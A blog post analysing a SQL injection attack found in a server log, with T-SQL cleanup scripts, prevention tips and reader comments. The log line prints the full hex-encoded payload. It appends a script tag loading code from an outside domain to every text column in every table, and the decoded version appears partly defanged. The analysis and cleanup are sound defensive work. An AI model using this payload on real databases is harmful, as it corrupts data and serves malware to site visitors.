How To Clean Up After a SQL Injection Attack

Analysis, Programming, Security

NEW AND IMPROVED UPDATE: Cleaning Up After a SQL Injection Attack, Part 2

[UPDATE: Added code to deal with replacing text in the ntext fields of SQL Server 2000.]

One of our clients got hit with a web attack a week or so ago. We’re still not quite sure how this particular attack was carried out — we’re thinking an unpatched web server at the hosting facility — but it did cause me to look at the log file of the web site to see who might have been able to overwrite index.htm in the root directory. (The FTP logs held the clue — a rogue in Asia who cracked the password.)

As I said, it turned up nothing, but I did see a series of SQL Injection attacks — none of which were successful (always check your variables, kids!) — but they piqued my interest, so I took it apart.

I’m not sure if there’s any way to discuss this in-depth without revealing the code. Revealing the code is a double-edged sword. I’d like people to be able to find this via the search engines in case they’ve been hit with it; but at the same time, I’d hate to see people use this to further spread malice… but I don’t think this code is all that unqiue, or all that new, really…

A Study of An SQL Injection

In the log was the following line (IPs changed to protect the innocent and not-so-innocent):

2008-06-27 21:20:32 x.x.x.x  - W3SVC257 y.y.y.y  80 GET /gallery/index.asp type=4;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6164777374652E6D6F62692F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--|76|800a000d|Type_mismatch:_'iGallery' 500 0 1422 0 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) -

Fascinating. It’s pretty obvious that they’re trying to inject some SQL as part of the URL. It’s the standard trick…

So, I copied the querystring into my favorite text editor (that’d be TextPad) and broke out the querystring to this:

DO NOT RUN THIS CODE! IT’S DANGEROUS!

DECLARE @S VARCHAR(4000)
SET @S=CAST(0x445434C4154054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6164777374652E6D6F62692F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000))
EXEC(@S)

(OK, I changed the code a little to make it a bit more benign and so that it would fail if you pasted it into QA and ran it.)

I pasted that into Query Analyzer and pointed QA against a dummy database, so if I screwed up, I wasn’t going to hurt anything…

I then changed the EXEC statement to a PRINT statement, so I could see what that big CAST statement was doing, and lo and behold a little bit of T-SQL code popped out.

In a nutshell, the code queries sysobjects for all the user tables in the database (xtype = ‘u’) and throws the table info into a cursor, and then it loops thru the cursor, checking on fields that it can append it’s evilness onto — namely, text, ntext, varchar and sysname columns.

(Running select xtype, name from systypes; which basically contains a list of available sql datatypes, and I compared them against the b.xtype values in the demon code.)

Here’s the code as disassembled:

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=hxxp://evilsite.evl/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Again, I defanged the routine by changing it to PRINT, so I can see what it spits out…

It spits out a whole pile of UPDATE statements, affecting every field of every table it found of the applicable types. (In practice, it wouldn’t print the UPDATE statements, it would actually, you know, execute them…)

UPDATE [InProcessOrders] SET [StatusMessage]=RTRIM(CONVERT(VARCHAR(4000),[StatusMessage]))+'<script src=hxxp://evilsite.evl/b.js></script>'UPDATE [Handhelds] SET [RecKey]=RTRIM(CONVERT(VARCHAR(4000),[RecKey]))+'<script src=hxxp://evilsite.evl/b.js></script>'

UPDATE [Handhelds] SET [RecName]=RTRIM(CONVERT(VARCHAR(4000),[RecName]))+'<script src=hxxp://evilsite.evl/b.js></script>'

… and so forth.

But we can see that it appends its malicious SCRIPT tag at the end of every field in the hopes that it will someday be displayed unfettered on a webpage, where its payload can be hidden in an IFRAME.

Cleaning Up The Mess

So now you have a database that’s infected with the evil code at the end of every data field. To get rid of it, you need to re-run the code, but with a replace statement instead of an appending of the field.

NOTE: If you have more than 4000 characters in a data field, go for your backup, because the malicious script only grabs the first 4000 characters and then appends itself; so this solution will leave you with truncated fields. If your fields are not over 4000 characters, you should be OK.

So if we take the disassembled code and just edit it just a little bit… change the UPDATE statement so that is REPLACES the ill-gotten script block with nothing, it’s like the script block was never there. (Except in the aforementioned cases where the original data was over 4000 characters…)

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'],''<script src=hxxp://evilsite.evl/b.js></script>'', '''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=cast(replace(cast(['+@C+'] as nvarchar(4000)),''<script src=hxxp://evilsite.evl/b.js></script>'','''') as ntext)')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

And there you have it. If you edit the code so that the bad URL you’re trying to erase is in it (as opposed to my bogus evilsite.evl URL) It will generate all the SQL statements you need and then you can run them against your database.

(Of course, you can change the PRINT statement for some other statement that might do the trick…)

An Ounce of Prevention

Of course, the best way to protect yourself is to not allow the SQL Injection attack to occur in the first place. These attacks failed against our client’s site because we tested to make sure the variables we were accepting via the URL were numbers. Since there were alphabetic characters in there, the page threw an ugly error and failed to render. (In these cases throwing an ugly error is fine, since I don’t think anyone is really is looking at your pages.)

Microsoft Developer Network (MSDN) has these suggestions:

  • Constrain and sanitize input data. Check for known good data by validating for type, length, format, and range.
  • Use type-safe SQL parameters for data access. You can use these parameters with stored procedures or dynamically constructed SQL command strings. Parameter collections such as SqlParameterCollection provide type checking and length validation. If you use a parameters collection, input is treated as a literal value, and SQL Server does not treat it as executable code. An additional benefit of using a parameters collection is that you can enforce type and length checks. Values outside of the range trigger an exception. This is a good example of defense in depth.
  • Use an account that has restricted permissions in the database. Ideally, you should only grant execute permissions to selected stored procedures in the database and provide no direct table access.
  • Avoid disclosing database error information. In the event of database errors, make sure you do not disclose detailed error messages to the user.

Wikipedia has a good breakdown of what SQL Injection is.

Lastly, Microsoft MVP Harry Waldron put together a good collection of best practices to foil SQL Injection attacks.

6 thoughts on “How To Clean Up After a SQL Injection Attack”

  1. Hi
    Thanks for a very interesting article. Learned alot.
    I have been attached with sql injection and trying to first clean, then find a way to close the whole.

    I ran the first PRINT script and as you said, it shows in the log as you say.
    Then i tried to clean “ntext” datafield injection with the following script, only shanging the hackers website URL:

    ———————————————————-
    DECLARE @T VARCHAR(255),@C VARCHAR(255)
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=35 OR b.xtype=231 OR b.xtype=167)
    OPEN Table_Cursor
    FETCH NEXT FROM Table_Cursor INTO @T,@C
    WHILE(@@FETCH_STATUS=0)
    BEGIN
    PRINT (‘UPDATE [‘+@T+’] SET [‘+@C+’]=REPLACE([‘+@C+’],””, ””)’)
    FETCH NEXT FROM Table_Cursor INTO @T,@C
    END
    CLOSE Table_Cursor
    DEALLOCATE Table_Cursor

    DECLARE @T VARCHAR(255),@C VARCHAR(255)
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND b.xtype=99
    OPEN Table_Cursor
    FETCH NEXT FROM Table_Cursor INTO @T,@C
    WHILE(@@FETCH_STATUS=0)
    BEGIN
    PRINT (‘UPDATE [‘+@T+’] SET [‘+@C+’]=cast(replace(cast([‘+@C+’] as nvarchar(4000)),””,””) as ntext)’)
    FETCH NEXT FROM Table_Cursor INTO @T,@C
    END
    CLOSE Table_Cursor
    DEALLOCATE Table_Cursor
    ———————————————————

    I then get the return error:

    Msg 134, Level 15, State 1, Line 15
    The variable name ‘@T’ has already been declared. Variable names must be unique within a query batch or stored procedure.

    Can anyone help me on whats going wrong here, and what I have to change in the script to get it to work

    Kind Regards
    Morten

  2. Morten,

    The script isn’t meant to be run together like that, they’re intended to run separately.

    However, that’s not clear from the text, so I updated the code.

    If you throw 2 dashes in front of the second “Declare @T …” line” so it looks like “– Declare @T …” it should work just fine.

    Sorry for the confusion.

    Jeff

  3. Hi
    You are a star ๐Ÿ™‚
    Thanks for your help. That worked ๐Ÿ™‚
    Now I have to start the long and painfull process of finding the “hole”. Not easy when I first picked up SQL one week ago, with no past experience, but I guess I will get there sooner or later ๐Ÿ™‚
    Kind Regards
    Morten

  4. Hi Jeff,

    Great Article! This informanation helped me save a database after an attack, and a recent DB backup failed.
    Also, I found the security hole and patched it.

    Thank You!!

    Rich

  5. Wow, awesome script, helped me clean up after a JS injection attack (which didn’t work but it’s just messy). Thanks!!

Leave a Comment